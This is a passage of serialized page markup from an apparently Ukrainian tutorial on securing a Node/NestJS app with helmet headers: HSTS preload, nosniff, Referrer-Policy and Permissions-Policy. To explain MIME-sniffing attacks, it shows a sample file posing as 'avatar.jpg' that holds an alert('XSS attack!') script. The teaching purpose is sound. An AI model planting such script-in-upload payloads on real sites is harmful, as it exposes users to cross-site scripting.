візиту",[5089,7926,7927,7930,7931,7934],{},[5099,7928,7929],{},"Проблема:"," HSTS працює лише ",[5099,7932,7933],{},"після першого HTTPS візиту",". Якщо користувач ніколи не відвідував ваш сайт через HTTPS, він вразливий до downgrade атаки.",[5089,7936,7937,7940,7941,7944,7945,7947],{},[5099,7938,7939],{},"Рішення:"," ",[5099,7942,7943],{},"HSTS Preload List"," — це список доменів, вбудований безпосередньо у браузери (Chrome, Firefox, Safari, Edge). Для цих доменів браузер ",[5099,7946,7781],{}," не відправить HTTP запит, навіть при першому візиті.",[5089,7949,7950],{},[5099,7951,7952],{},"Як додати домен до Preload List:",[5697,7954,7955,8019,8029],{},[5096,7956,7957,7958],{},"Налаштуйте HSTS з параметрами:",[5412,7959,7961],{"className":5485,"code":7960,"language":5487,"meta":5417,"style":5417},"hsts: {\n  maxAge: 31536000,        \u002F\u002F Мінімум 1 рік\n  includeSubDomains: true, \u002F\u002F Обов'язково\n  preload: true,           \u002F\u002F Обов'язково\n}\n",[5325,7962,7963,7972,7987,8002,8015],{"__ignoreMap":5417},[5421,7964,7965,7969],{"class":5423,"line":5424},[5421,7966,7968],{"class":7967},"s5IvJ","hsts",[5421,7970,7971],{"class":5505},": {\n",[5421,7973,7974,7977,7979,7982,7984],{"class":5423,"line":5498},[5421,7975,7976],{"class":7967},"  maxAge",[5421,7978,5870],{"class":5505},[5421,7980,7981],{"class":5665},"31536000",[5421,7983,7829],{"class":5505},[5421,7985,7986],{"class":5494},"\u002F\u002F Мінімум 1 рік\n",[5421,7988,7989,7992,7994,7997,7999],{"class":5423,"line":5525},[5421,7990,7991],{"class":7967},"  includeSubDomains",[5421,7993,5870],{"class":5505},[5421,7995,7996],{"class":5434},"true",[5421,7998,6106],{"class":5505},[5421,8000,8001],{"class":5494},"\u002F\u002F Обов'язково\n",[5421,8003,8004,8007,8009,8011,8013],{"class":5423,"line":5544},[5421,8005,8006],{"class":7967},"  preload",[5421,8008,5870],{"class":5505},[5421,8010,7996],{"class":5434},[5421,8012,7855],{"class":5505},[5421,8014,8001],{"class":5494},[5421,8016,8017],{"class":5423,"line":5560},[5421,8018,5674],{"class":5505},[5096,8020,8021,8022,5601],{},"Перевірте, що ваш сайт відповідає вимогам на ",[8023,8024,8028],"a",{"href":8025,"rel":8026},"https:\u002F\u002Fhstspreload.org\u002F",[8027],"nofollow","hstspreload.org",[5096,8030,8031],{},"Подайте запит на включення домену до списку.",[5089,8033,8034,8037],{},[5099,8035,8036],{},"Після затвердження (займає 2-3 місяці):"," всі браузери автоматично використовуватимуть HTTPS для вашого домену, навіть для користувачів, які ніколи його не відвідували.",[8039,8040,8041,8044,8045,8048,8049,5601],"caution",{},[5099,8042,8043],{},"Видалення з Preload List — складний процес!"," Якщо ви додали домен до списку, але згодом вирішили відключити HTTPS, видалення може зайняти ",[5099,8046,8047],{},"місяці",". Використовуйте preload лише для доменів, де HTTPS є ",[5099,8050,8051],{},"постійною вимогою",[5232,8053,8055],{"id":8054},"умовне-увімкнення-hsts","Умовне увімкнення HSTS",[5089,8057,8058],{},"Для локальної розробки та staging середовища HSTS слід вимкнути:",[5412,8060,8062],{"className":5485,"code":8061,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\nconst isProduction = process.env.NODE_ENV === 'production';\n\napp.use(\n  helmet({\n    hsts: isProduction\n      ? {\n          maxAge: 31536000,\n          includeSubDomains: true,\n          preload: true,\n        }\n      : false, \u002F\u002F Вимкнути HSTS у dev\u002Fstaging\n  })\n);\n",[5325,8063,8064,8068,8099,8103,8113,8119,8126,8131,8140,8149,8158,8163,8176,8180],{"__ignoreMap":5417},[5421,8065,8066],{"class":5423,"line":5424},[5421,8067,5495],{"class":5494},[5421,8069,8070,8073,8076,8078,8081,8083,8086,8088,8091,8094,8097],{"class":5423,"line":5498},[5421,8071,8072],{"class":5434},"const",[5421,8074,8075],{"class":5588}," isProduction",[5421,8077,5592],{"class":5505},[5421,8079,8080],{"class":5509},"process",[5421,8082,5601],{"class":5505},[5421,8084,8085],{"class":5509},"env",[5421,8087,5601],{"class":5505},[5421,8089,8090],{"class":5588},"NODE_ENV",[5421,8092,8093],{"class":5505}," === ",[5421,8095,8096],{"class":5430},"'production'",[5421,8098,5522],{"class":5505},[5421,8100,8101],{"class":5423,"line":5525},[5421,8102,5564],{"emptyLinePlaceholder":5563},[5421,8104,8105,8107,8109,8111],{"class":5423,"line":5544},[5421,8106,6320],{"class":5509},[5421,8108,5601],{"class":5505},[5421,8110,5634],{"class":5427},[5421,8112,6327],{"class":5505},[5421,8114,8115,8117],{"class":5423,"line":5560},[5421,8116,6332],{"class":5427},[5421,8118,6340],{"class":5505},[5421,8120,8121,8123],{"class":5423,"line":5567},[5421,8122,7816],{"class":5509},[5421,8124,8125],{"class":5509}," isProduction\n",[5421,8127,8128],{"class":5423,"line":5582},[5421,8129,8130],{"class":5505},"      ? {\n",[5421,8132,8133,8136,8138],{"class":5423,"line":5615},[5421,8134,8135],{"class":5509},"          maxAge:",[5421,8137,7826],{"class":5665},[5421,8139,6381],{"class":5505},[5421,8141,8142,8145,8147],{"class":5423,"line":5620},[5421,8143,8144],{"class":5509},"          includeSubDomains:",[5421,8146,7840],{"class":5434},[5421,8148,6381],{"class":5505},[5421,8150,8151,8154,8156],{"class":5423,"line":5626},[5421,8152,8153],{"class":5509},"          preload:",[5421,8155,7840],{"class":5434},[5421,8157,6381],{"class":5505},[5421,8159,8160],{"class":5423,"line":5645},[5421,8161,8162],{"class":5505},"        }\n",[5421,8164,8165,8168,8171,8173],{"class":5423,"line":5650},[5421,8166,8167],{"class":5505},"      : ",[5421,8169,8170],{"class":5434},"false",[5421,8172,6106],{"class":5505},[5421,8174,8175],{"class":5494},"\u002F\u002F Вимкнути HSTS у dev\u002Fstaging\n",[5421,8177,8178],{"class":5423,"line":5671},[5421,8179,6616],{"class":5505},[5421,8181,8182],{"class":5423,"line":5677},[5421,8183,5612],{"class":5505},[5149,8185],{},[5084,8187,8189],{"id":8188},"x-content-type-options-заборона-mime-sniffing","X-Content-Type-Options: Заборона MIME Sniffing",[5089,8191,8192,8193,8196,8197,8200,8201,5601],{},"Браузери іноді намагаються \"вгадати\" тип файлу за його вмістом, ігноруючи заголовок ",[5325,8194,8195],{},"Content-Type",", надісланий сервером. Це називається ",[5099,8198,8199],{},"MIME type sniffing"," і може призвести до ",[5099,8202,8203],{},"MIME confusion атак",[5232,8205,8207],{"id":8206},"приклад-mime-confusion-атаки","Приклад MIME confusion атаки",[5089,8209,8210],{},[5099,8211,8212],{},"Сценарій:",[5697,8214,8215,8222,8252,8269],{},[5096,8216,8217,8218,8221],{},"Зловмисник завантажує файл ",[5325,8219,8220],{},"avatar.jpg"," на ваш сервер (через форму завантаження аватара).",[5096,8223,8224,8225,5482,8228],{},"Файл насправді містить JavaScript код, але має розширення ",[5325,8226,8227],{},".jpg",[5412,8229,8233],{"className":8230,"code":8231,"language":8232,"meta":5417,"style":5417},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F avatar.jpg\nalert('XSS attack!');\n","javascript",[5325,8234,8235,8240],{"__ignoreMap":5417},[5421,8236,8237],{"class":5423,"line":5424},[5421,8238,8239],{"class":5494},"\u002F\u002F avatar.jpg\n",[5421,8241,8242,8245,8247,8250],{"class":5423,"line":5498},[5421,8243,8244],{"class":5427},"alert",[5421,8246,5607],{"class":5505},[5421,8248,8249],{"class":5430},"'XSS attack!'",[5421,8251,5612],{"class":5505},[5096,8253,8254,8255],{},"Сервер віддає файл з правильним Content-Type:",[5412,8256,8258],{"className":5943,"code":8257,"language":5945,"meta":5417,"style":5417},"Content-Type: image\u002Fjpeg\n",[5325,8259,8260],{"__ignoreMap":5417},[5421,8261,8262,8264,8266],{"class":5423,"line":5424},[5421,8263,8195],{"class":5952},[5421,8265,5482],{"class":5434},[5421,8267,8268],{"class":5430}," image\u002Fjpeg\n",[5096,8270,8271,8272,8275,8276,8279],{},"Але старий Internet Explorer ",[5099,8273,8274],{},"ігнорує"," Content-Type, аналізує вміст файлу, виявляє JavaScript та ",[5099,8277,8278],{},"виконує його як script","!",[5232,8281,8283],{"id":8282},"захист-через-x-content-type-options","Захист через X-Content-Type-Options",[5089,8285,8286,8287,8290,8291,8294],{},"Заголовок ",[5325,8288,8289],{},"X-Content-Type-Options: nosniff"," інструктує браузер ",[5099,8292,8293],{},"суворо дотримуватися"," Content-Type:",[5412,8296,8298],{"className":5485,"code":8297,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    noSniff: true, \u002F\u002F За замовчуванням увімкнено у helmet()\n  })\n);\n",[5325,8299,8300,8304,8314,8320,8332,8336],{"__ignoreMap":5417},[5421,8301,8302],{"class":5423,"line":5424},[5421,8303,5495],{"class":5494},[5421,8305,8306,8308,8310,8312],{"class":5423,"line":5498},[5421,8307,6320],{"class":5509},[5421,8309,5601],{"class":5505},[5421,8311,5634],{"class":5427},[5421,8313,6327],{"class":5505},[5421,8315,8316,8318],{"class":5423,"line":5525},[5421,8317,6332],{"class":5427},[5421,8319,6340],{"class":5505},[5421,8321,8322,8325,8327,8329],{"class":5423,"line":5544},[5421,8323,8324],{"class":5509},"    noSniff:",[5421,8326,7840],{"class":5434},[5421,8328,6106],{"class":5505},[5421,8330,8331],{"class":5494},"\u002F\u002F За замовчуванням увімкнено у helmet()\n",[5421,8333,8334],{"class":5423,"line":5560},[5421,8335,6616],{"class":5505},[5421,8337,8338],{"class":5423,"line":5567},[5421,8339,5612],{"class":5505},[5089,8341,8342],{},[5099,8343,8344],{},"Результат у HTTP відповіді:",[5412,8346,8348],{"className":5943,"code":8347,"language":5945,"meta":5417,"style":5417},"X-Content-Type-Options: nosniff\n",[5325,8349,8350],{"__ignoreMap":5417},[5421,8351,8352,8354,8356],{"class":5423,"line":5424},[5421,8353,5125],{"class":5952},[5421,8355,5482],{"class":5434},[5421,8357,8358],{"class":5430}," nosniff\n",[5089,8360,8361],{},[5099,8362,8363],{},"Що це означає:",[5093,8365,8366,8376],{},[5096,8367,8368,8369,5989,8372,8375],{},"Якщо файл має ",[5325,8370,8371],{},"Content-Type: image\u002Fjpeg",[5099,8373,8374],{},"не виконає його як script",", навіть якщо вміст виглядає як JavaScript.",[5096,8377,8368,8378,5989,8381,8384,8385,5601],{},[5325,8379,8380],{},"Content-Type: text\u002Fhtml",[5099,8382,8383],{},"не відобразить його як CSS",", навіть якщо він завантажений через ",[5325,8386,8387],{},"\u003Clink rel=\"stylesheet\">",[5782,8389,8390,8396],{},[5099,8391,8392,8393,8279],{},"Завжди увімкнюйте ",[5325,8394,8395],{},"noSniff"," Це простий заголовок без побічних ефектів, що закриває цілий клас вразливостей.",[5149,8398],{},[5084,8400,8402],{"id":8401},"referrer-policy-контроль-витоку-інформації","Referrer-Policy: Контроль витоку інформації",[5089,8404,8405,8406,8409],{},"Коли користувач переходить з вашої сторінки на інший сайт (наприклад, натискаючи зовнішнє посилання), браузер за замовчуванням відправляє заголовок ",[5325,8407,8408],{},"Referer"," з URL поточної сторінки.",[5232,8411,8413],{"id":8412},"проблема-витік-конфіденційної-інформації","Проблема: Витік конфіденційної інформації",[5089,8415,8416],{},[5099,8417,8418],{},"Приклад:",[5089,8420,8421],{},"Користувач переглядає сторінку:",[5412,8423,8426],{"className":8424,"code":8425,"language":5921},[5919],"https:\u002F\u002Fmedical.com\u002Fpatients\u002F12345\u002Fdiagnosis?disease=diabetes\n",[5325,8427,8425],{"__ignoreMap":5417},[5089,8429,8430,8431,8434],{},"Потім натискає зовнішнє посилання на ",[5325,8432,8433],{},"https:\u002F\u002Fpharmacy.com",". Браузер відправляє:",[5412,8436,8438],{"className":5943,"code":8437,"language":5945,"meta":5417,"style":5417},"Referer: https:\u002F\u002Fmedical.com\u002Fpatients\u002F12345\u002Fdiagnosis?disease=diabetes\n",[5325,8439,8440],{"__ignoreMap":5417},[5421,8441,8442,8444,8446],{"class":5423,"line":5424},[5421,8443,8408],{"class":5952},[5421,8445,5482],{"class":5434},[5421,8447,8448],{"class":5430}," https:\u002F\u002Fmedical.com\u002Fpatients\u002F12345\u002Fdiagnosis?disease=diabetes\n",[5089,8450,8451,8453],{},[5099,8452,7929],{}," зовнішній сайт отримує конфіденційну інформацію з URL (ID пацієнта, діагноз).",[5232,8455,8457],{"id":8456},"контроль-через-referrer-policy","Контроль через Referrer-Policy",[5412,8459,8461],{"className":5485,"code":8460,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    referrerPolicy: {\n      policy: 'strict-origin-when-cross-origin',\n    },\n  })\n);\n",[5325,8462,8463,8467,8477,8483,8490,8500,8504,8508],{"__ignoreMap":5417},[5421,8464,8465],{"class":5423,"line":5424},[5421,8466,5495],{"class":5494},[5421,8468,8469,8471,8473,8475],{"class":5423,"line":5498},[5421,8470,6320],{"class":5509},[5421,8472,5601],{"class":5505},[5421,8474,5634],{"class":5427},[5421,8476,6327],{"class":5505},[5421,8478,8479,8481],{"class":5423,"line":5525},[5421,8480,6332],{"class":5427},[5421,8482,6340],{"class":5505},[5421,8484,8485,8488],{"class":5423,"line":5544},[5421,8486,8487],{"class":5509},"    referrerPolicy:",[5421,8489,6348],{"class":5505},[5421,8491,8492,8495,8498],{"class":5423,"line":5560},[5421,8493,8494],{"class":5509},"      policy:",[5421,8496,8497],{"class":5430}," 'strict-origin-when-cross-origin'",[5421,8499,6381],{"class":5505},[5421,8501,8502],{"class":5423,"line":5567},[5421,8503,6610],{"class":5505},[5421,8505,8506],{"class":5423,"line":5582},[5421,8507,6616],{"class":5505},[5421,8509,8510],{"class":5423,"line":5615},[5421,8511,5612],{"class":5505},[5089,8513,8514],{},[5099,8515,8516],{},"Доступні політики:",[5289,8518,8519,8531],{},[5292,8520,8521],{},[5295,8522,8523,8526,8528],{},[5298,8524,8525],{},"Політика",[5298,8527,6192],{},[5298,8529,8530],{},"Приклад",[5308,8532,8533,8546,8561,8577,8591,8607,8629,8654],{},[5295,8534,8535,8540,8543],{},[5313,8536,8537],{},[5325,8538,8539],{},"no-referrer",[5313,8541,8542],{},"Ніколи не відправляти Referer",[5313,8544,8545],{},"Не передається",[5295,8547,8548,8553,8556],{},[5313,8549,8550],{},[5325,8551,8552],{},"no-referrer-when-downgrade",[5313,8554,8555],{},"Не відправляти при переході HTTPS → HTTP",[5313,8557,8558,8560],{},[5325,8559,6221],{}," (лише при HTTPS → HTTPS)",[5295,8562,8563,8568,8571],{},[5313,8564,8565],{},[5325,8566,8567],{},"same-origin",[5313,8569,8570],{},"Відправляти лише для same-origin запитів",[5313,8572,8573,8576],{},[5325,8574,8575],{},"https:\u002F\u002Fexample.com\u002Fpage"," (лише для example.com)",[5295,8578,8579,8584,8587],{},[5313,8580,8581],{},[5325,8582,8583],{},"origin",[5313,8585,8586],{},"Відправляти лише origin без шляху",[5313,8588,8589],{},[5325,8590,6221],{},[5295,8592,8593,8598,8603],{},[5313,8594,8595],{},[5325,8596,8597],{},"strict-origin",[5313,8599,8600,8602],{},[5325,8601,8583],{},", але не при HTTPS → HTTP",[5313,8604,8605],{},[5325,8606,6221],{},[5295,8608,8609,8614,8617],{},[5313,8610,8611],{},[5325,8612,8613],{},"origin-when-cross-origin",[5313,8615,8616],{},"Повний URL для same-origin, лише origin для cross-origin",[5313,8618,8619,8620,8623,8626,8627],{},"Same: ",[5325,8621,8622],{},"https:\u002F\u002Fexample.com\u002Fpatients\u002F123",[8624,8625],"br",{},"Cross: ",[5325,8628,6221],{},[5295,8630,8631,8637,8645],{},[5313,8632,8633,8636],{},[5325,8634,8635],{},"strict-origin-when-cross-origin"," (рекомендовано)",[5313,8638,8639,8640,8642,8643],{},"Комбінація ",[5325,8641,8597],{}," + ",[5325,8644,8613],{},[5313,8646,8647,8648,8650,8651,8653],{},"Same: повний URL",[8624,8649],{},"Cross: лише origin",[8624,8652],{},"HTTPS→HTTP: нічого",[5295,8655,8656,8661,8664],{},[5313,8657,8658],{},[5325,8659,8660],{},"unsafe-url",[5313,8662,8663],{},"Завжди відправляти повний URL (небезпечно!)",[5313,8665,8666],{},[5325,8667,8622],{},[5089,8669,8670],{},[5099,8671,8672],{},"Рекомендована політика для більшості застосунків:",[5412,8674,8676],{"className":5485,"code":8675,"language":5487,"meta":5417,"style":5417},"referrerPolicy: {\n  policy: 'strict-origin-when-cross-origin',\n}\n",[5325,8677,8678,8685,8697],{"__ignoreMap":5417},[5421,8679,8680,8683],{"class":5423,"line":5424},[5421,8681,8682],{"class":7967},"referrerPolicy",[5421,8684,7971],{"class":5505},[5421,8686,8687,8690,8692,8695],{"class":5423,"line":5498},[5421,8688,8689],{"class":7967},"  policy",[5421,8691,5870],{"class":5505},[5421,8693,8694],{"class":5430},"'strict-origin-when-cross-origin'",[5421,8696,6381],{"class":5505},[5421,8698,8699],{"class":5423,"line":5525},[5421,8700,5674],{"class":5505},[5089,8702,8703],{},[5099,8704,8363],{},[5093,8706,8707,8713,8722],{},[5096,8708,8709,8712],{},[5099,8710,8711],{},"Same-origin запити:"," відправляти повний URL (наприклад, перехід між сторінками вашого сайту).",[5096,8714,8715,8718,8719,8721],{},[5099,8716,8717],{},"Cross-origin запити (HTTPS → HTTPS):"," відправляти лише origin (",[5325,8720,6221],{},"), без шляху та query parameters.",[5096,8723,8724,8727],{},[5099,8725,8726],{},"Cross-origin запити (HTTPS → HTTP):"," не відправляти Referer взагалі (захист від downgrade атак).",[5232,8729,8731,8732,8734],{"id":8730},"коли-використовувати-no-referrer","Коли використовувати ",[5325,8733,8539],{},"?",[5089,8736,8737],{},"Для максимальної приватності (медичні сервіси, фінансові застосунки):",[5412,8739,8741],{"className":5485,"code":8740,"language":5487,"meta":5417,"style":5417},"referrerPolicy: {\n  policy: 'no-referrer',\n}\n",[5325,8742,8743,8749,8760],{"__ignoreMap":5417},[5421,8744,8745,8747],{"class":5423,"line":5424},[5421,8746,8682],{"class":7967},[5421,8748,7971],{"class":5505},[5421,8750,8751,8753,8755,8758],{"class":5423,"line":5498},[5421,8752,8689],{"class":7967},[5421,8754,5870],{"class":5505},[5421,8756,8757],{"class":5430},"'no-referrer'",[5421,8759,6381],{"class":5505},[5421,8761,8762],{"class":5423,"line":5525},[5421,8763,5674],{"class":5505},[5089,8765,8766,8769],{},[5099,8767,8768],{},"Недолік:"," деякі зовнішні сервіси (аналітика, платіжні системи) можуть покладатися на Referer для визначення джерела трафіку.",[5149,8771],{},[5084,8773,8775],{"id":8774},"permissions-policy-контроль-браузерних-api","Permissions-Policy: Контроль браузерних API",[5089,8777,8778,8781],{},[5099,8779,8780],{},"Permissions Policy"," (раніше Feature Policy) дозволяє контролювати доступ до потужних браузерних API: камера, мікрофон, геолокація, payment API, fullscreen, autoplay.",[5232,8783,8785],{"id":8784},"чому-це-важливо","Чому це важливо?",[5089,8787,8788,8789,8791,8792,8795],{},"Без явної політики будь-який ",[5325,8790,6141],{}," на вашій сторінці може ",[5099,8793,8794],{},"запросити доступ"," до камери або мікрофона користувача. Зловмисний рекламний iframe може використати це для шпигунства.",[5232,8797,8799],{"id":8798},"конфігурація-permissions-policy","Конфігурація Permissions Policy",[5412,8801,8803],{"className":5485,"code":8802,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    permissionsPolicy: {\n      features: {\n        camera: [\"'none'\"],        \u002F\u002F Повна заборона камери\n        microphone: [\"'none'\"],    \u002F\u002F Повна заборона мікрофона\n        geolocation: [\"'self'\"],   \u002F\u002F Дозволити лише для поточного origin\n        payment: [\"'self'\", \"https:\u002F\u002Ftrusted-payment.com\"], \u002F\u002F Whitelist для payment API\n        fullscreen: [\"'self'\"],    \u002F\u002F Fullscreen лише для поточного origin\n        syncXhr: [\"'none'\"],       \u002F\u002F Заборона синхронних XHR (deprecated API)\n      },\n    },\n  })\n);\n",[5325,8804,8805,8809,8819,8825,8832,8839,8854,8869,8884,8903,8917,8932,8937,8941,8945],{"__ignoreMap":5417},[5421,8806,8807],{"class":5423,"line":5424},[5421,8808,5495],{"class":5494},[5421,8810,8811,8813,8815,8817],{"class":5423,"line":5498},[5421,8812,6320],{"class":5509},[5421,8814,5601],{"class":5505},[5421,8816,5634],{"class":5427},[5421,8818,6327],{"class":5505},[5421,8820,8821,8823],{"class":5423,"line":5525},[5421,8822,6332],{"class":5427},[5421,8824,6340],{"class":5505},[5421,8826,8827,8830],{"class":5423,"line":5544},[5421,8828,8829],{"class":5509},"    permissionsPolicy:",[5421,8831,6348],{"class":5505},[5421,8833,8834,8837],{"class":5423,"line":5560},[5421,8835,8836],{"class":5509},"      features:",[5421,8838,6348],{"class":5505},[5421,8840,8841,8844,8846,8848,8851],{"class":5423,"line":5567},[5421,8842,8843],{"class":5509},"        camera:",[5421,8845,6356],{"class":5505},[5421,8847,6571],{"class":5430},[5421,8849,8850],{"class":5505},"],        ",[5421,8852,8853],{"class":5494},"\u002F\u002F Повна заборона камери\n",[5421,8855,8856,8859,8861,8863,8866],{"class":5423,"line":5582},[5421,8857,8858],{"class":5509},"        microphone:",[5421,8860,6356],{"class":5505},[5421,8862,6571],{"class":5430},[5421,8864,8865],{"class":5505},"],    ",[5421,8867,8868],{"class":5494},"\u002F\u002F Повна заборона мікрофона\n",[5421,8870,8871,8874,8876,8878,8881],{"class":5423,"line":5615},[5421,8872,8873],{"class":5509},"        geolocation:",[5421,8875,6356],{"class":5505},[5421,8877,6359],{"class":5430},[5421,8879,8880],{"class":5505},"],   ",[5421,8882,8883],{"class":5494},"\u002F\u002F Дозволити лише для поточного origin\n",[5421,8885,8886,8889,8891,8893,8895,8898,8900],{"class":5423,"line":5620},[5421,8887,8888],{"class":5509},"        payment:",[5421,8890,6356],{"class":5505},[5421,8892,6359],{"class":5430},[5421,8894,6106],{"class":5505},[5421,8896,8897],{"class":5430},"\"https:\u002F\u002Ftrusted-payment.com\"",[5421,8899,6362],{"class":5505},[5421,8901,8902],{"class":5494},"\u002F\u002F Whitelist для payment API\n",[5421,8904,8905,8908,8910,8912,8914],{"class":5423,"line":5626},[5421,8906,8907],{"class":5509},"        fullscreen:",[5421,8909,6356],{"class":5505},[5421,8911,6359],{"class":5430},[5421,8913,8865],{"class":5505},[5421,8915,8916],{"class":5494},"\u002F\u002F Fullscreen лише для поточного origin\n",[5421,8918,8919,8922,8924,8926,8929],{"class":5423,"line":5645},[5421,8920,8921],{"class":5509},"        syncXhr:",[5421,8923,6356],{"class":5505},[5421,8925,6571],{"class":5430},[5421,8927,8928],{"class":5505},"],       ",[5421,8930,8931],{"class":5494},"\u002F\u002F Заборона синхронних XHR (deprecated API)\n",[5421,8933,8934],{"class":5423,"line":5650},[5421,8935,8936],{"class":5505},"      },\n",[5421,8938,8939],{"class":5423,"line":5671},[5421,8940,6610],{"class":5505},[5421,8942,8943],{"class":5423,"line":5677},[5421,8944,6616],{"class":5505},[5421,8946,8947],{"class":5423,"line":6424},[5421,8948,5612],{"class":5505},[5089,8950,8951],{},[5099,8952,7490],{},[5412,8954,8956],{"className":5943,"code":8955,"language":5945,"meta":5417,"style":5417},"Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=(self \"https:\u002F\u002Ftrusted-payment.com\"), fullscreen=(self), sync-xhr=()\n",[5325,8957,8958],{"__ignoreMap":5417},[5421,8959,8960,8962,8964],{"class":5423,"line":5424},[5421,8961,5137],{"class":5952},[5421,8963,5482],{"class":5434},[5421,8965,8966],{"class":5430}," camera=(), microphone=(), geolocation=(self), payment=(self \"https:\u002F\u002Ftrusted-payment.com\"), fullscreen=(self), sync-xhr=()\n",[5089,8968,8969],{},[5099,8970,8971],{},"Значення:",[5093,8973,8974,8982,8988],{},[5096,8975,8976,8979,8980,6070],{},[5325,8977,8978],{},"()"," — повна заборона (еквівалент ",[5325,8981,6211],{},[5096,8983,8984,8987],{},[5325,8985,8986],{},"(self)"," — дозволити лише для поточного origin",[5096,8989,8990,8993],{},[5325,8991,8992],{},"(self \"https:\u002F\u002Ftrusted.com\")"," — whitelist origins",[5232,8995,8997],{"id":8996},"типові-api-для-контролю","Типові API для контролю",[5289,8999,9000,9012],{},[5292,9001,9002],{},[5295,9003,9004,9007,9009],{},[5298,9005,9006],{},"Feature",[5298,9008,6192],{},[5298,9010,9011],{},"Рекомендація",[5308,9013,9014,9029,9043,9059,9074,9089,9103,9117,9133,9149],{},[5295,9015,9016,9021,9024],{},[5313,9017,9018],{},[5325,9019,9020],{},"camera",[5313,9022,9023],{},"Доступ до камери через getUserMedia",[5313,9025,9026,9028],{},[5325,9027,6211],{}," (якщо не потрібно)",[5295,9030,9031,9036,9039],{},[5313,9032,9033],{},[5325,9034,9035],{},"microphone",[5313,9037,9038],{},"Доступ до мікрофона",[5313,9040,9041,9028],{},[5325,9042,6211],{},[5295,9044,9045,9050,9053],{},[5313,9046,9047],{},[5325,9048,9049],{},"geolocation",[5313,9051,9052],{},"Геолокація користувача",[5313,9054,9055,7575,9057],{},[5325,9056,6201],{},[5325,9058,6211],{},[5295,9060,9061,9066,9069],{},[5313,9062,9063],{},[5325,9064,9065],{},"payment",[5313,9067,9068],{},"Payment Request API",[5313,9070,9071,9073],{},[5325,9072,6201],{}," + whitelist платіжних провайдерів",[5295,9075,9076,9081,9084],{},[5313,9077,9078],{},[5325,9079,9080],{},"usb",[5313,9082,9083],{},"Доступ до USB пристроїв",[5313,9085,9086,9088],{},[5325,9087,6211],{}," (якщо не Web USB застосунок)",[5295,9090,9091,9096,9099],{},[5313,9092,9093],{},[5325,9094,9095],{},"autoplay",[5313,9097,9098],{},"Автоматичне відтворення відео\u002Fаудіо",[5313,9100,9101],{},[5325,9102,6201],{},[5295,9104,9105,9110,9113],{},[5313,9106,9107],{},[5325,9108,9109],{},"fullscreen",[5313,9111,9112],{},"Fullscreen API",[5313,9114,9115],{},[5325,9116,6201],{},[5295,9118,9119,9124,9127],{},[5313,9120,9121],{},[5325,9122,9123],{},"picture-in-picture",[5313,9125,9126],{},"Picture-in-Picture для відео",[5313,9128,9129,7575,9131],{},[5325,9130,6201],{},[5325,9132,6211],{},[5295,9134,9135,9140,9143],{},[5313,9136,9137],{},[5325,9138,9139],{},"accelerometer",[5313,9141,9142],{},"Доступ до акселерометра",[5313,9144,9145,7575,9147],{},[5325,9146,6201],{},[5325,9148,6211],{},[5295,9150,9151,9156,9159],{},[5313,9152,9153],{},[5325,9154,9155],{},"gyroscope",[5313,9157,9158],{},"Доступ до гіроскопа",[5313,9160,9161,7575,9163],{},[5325,9162,6201],{},[5325,9164,6211],{},[5232,9166,9168],{"id":9167},"приклад-для-відеоконференцій","Приклад для відеоконференцій",[5089,9170,9171],{},"Якщо ваш застосунок використовує WebRTC для відеодзвінків:",[5412,9173,9175],{"className":5485,"code":9174,"language":5487,"meta":5417,"style":5417},"permissionsPolicy: {\n  features: {\n    camera: [\"'self'\"],              \u002F\u002F Дозволити камеру для поточного origin\n    microphone: [\"'self'\"],          \u002F\u002F Дозволити мікрофон\n    displayCapture: [\"'self'\"],      \u002F\u002F Screen sharing\n    geolocation: [\"'none'\"],         \u002F\u002F Не потрібна геолокація\n    payment: [\"'none'\"],             \u002F\u002F Не потрібні платежі\n  },\n}\n",[5325,9176,9177,9184,9191,9207,9222,9236,9251,9266,9270],{"__ignoreMap":5417},[5421,9178,9179,9182],{"class":5423,"line":5424},[5421,9180,9181],{"class":7967},"permissionsPolicy",[5421,9183,7971],{"class":5505},[5421,9185,9186,9189],{"class":5423,"line":5498},[5421,9187,9188],{"class":7967},"  features",[5421,9190,7971],{"class":5505},[5421,9192,9193,9196,9199,9201,9204],{"class":5423,"line":5525},[5421,9194,9195],{"class":7967},"    camera",[5421,9197,9198],{"class":5505},": [",[5421,9200,6359],{"class":5430},[5421,9202,9203],{"class":5505},"],              ",[5421,9205,9206],{"class":5494},"\u002F\u002F Дозволити камеру для поточного origin\n",[5421,9208,9209,9212,9214,9216,9219],{"class":5423,"line":5544},[5421,9210,9211],{"class":7967},"    microphone",[5421,9213,9198],{"class":5505},[5421,9215,6359],{"class":5430},[5421,9217,9218],{"class":5505},"],          ",[5421,9220,9221],{"class":5494},"\u002F\u002F Дозволити мікрофон\n",[5421,9223,9224,9227,9229,9231,9233],{"class":5423,"line":5560},[5421,9225,9226],{"class":7967},"    displayCapture",[5421,9228,9198],{"class":5505},[5421,9230,6359],{"class":5430},[5421,9232,6589],{"class":5505},[5421,9234,9235],{"class":5494},"\u002F\u002F Screen sharing\n",[5421,9237,9238,9241,9243,9245,9248],{"class":5423,"line":5567},[5421,9239,9240],{"class":7967},"    geolocation",[5421,9242,9198],{"class":5505},[5421,9244,6571],{"class":5430},[5421,9246,9247],{"class":5505},"],         ",[5421,9249,9250],{"class":5494},"\u002F\u002F Не потрібна геолокація\n",[5421,9252,9253,9256,9258,9260,9263],{"class":5423,"line":5582},[5421,9254,9255],{"class":7967},"    payment",[5421,9257,9198],{"class":5505},[5421,9259,6571],{"class":5430},[5421,9261,9262],{"class":5505},"],             ",[5421,9264,9265],{"class":5494},"\u002F\u002F Не потрібні платежі\n",[5421,9267,9268],{"class":5423,"line":5615},[5421,9269,7558],{"class":5505},[5421,9271,9272],{"class":5423,"line":5620},[5421,9273,5674],{"class":5505},[6623,9275,9276,9281],{},[5089,9277,9278,9280],{},[5099,9279,7911],{}," якщо ваш сайт вбудовує iframe з іншого домену (наприклад, YouTube відео), і цей iframe потребує доступу до fullscreen, додайте його до whitelist:",[5412,9282,9284],{"className":5485,"code":9283,"language":5487,"meta":5417,"style":5417},"fullscreen: [\"'self'\", 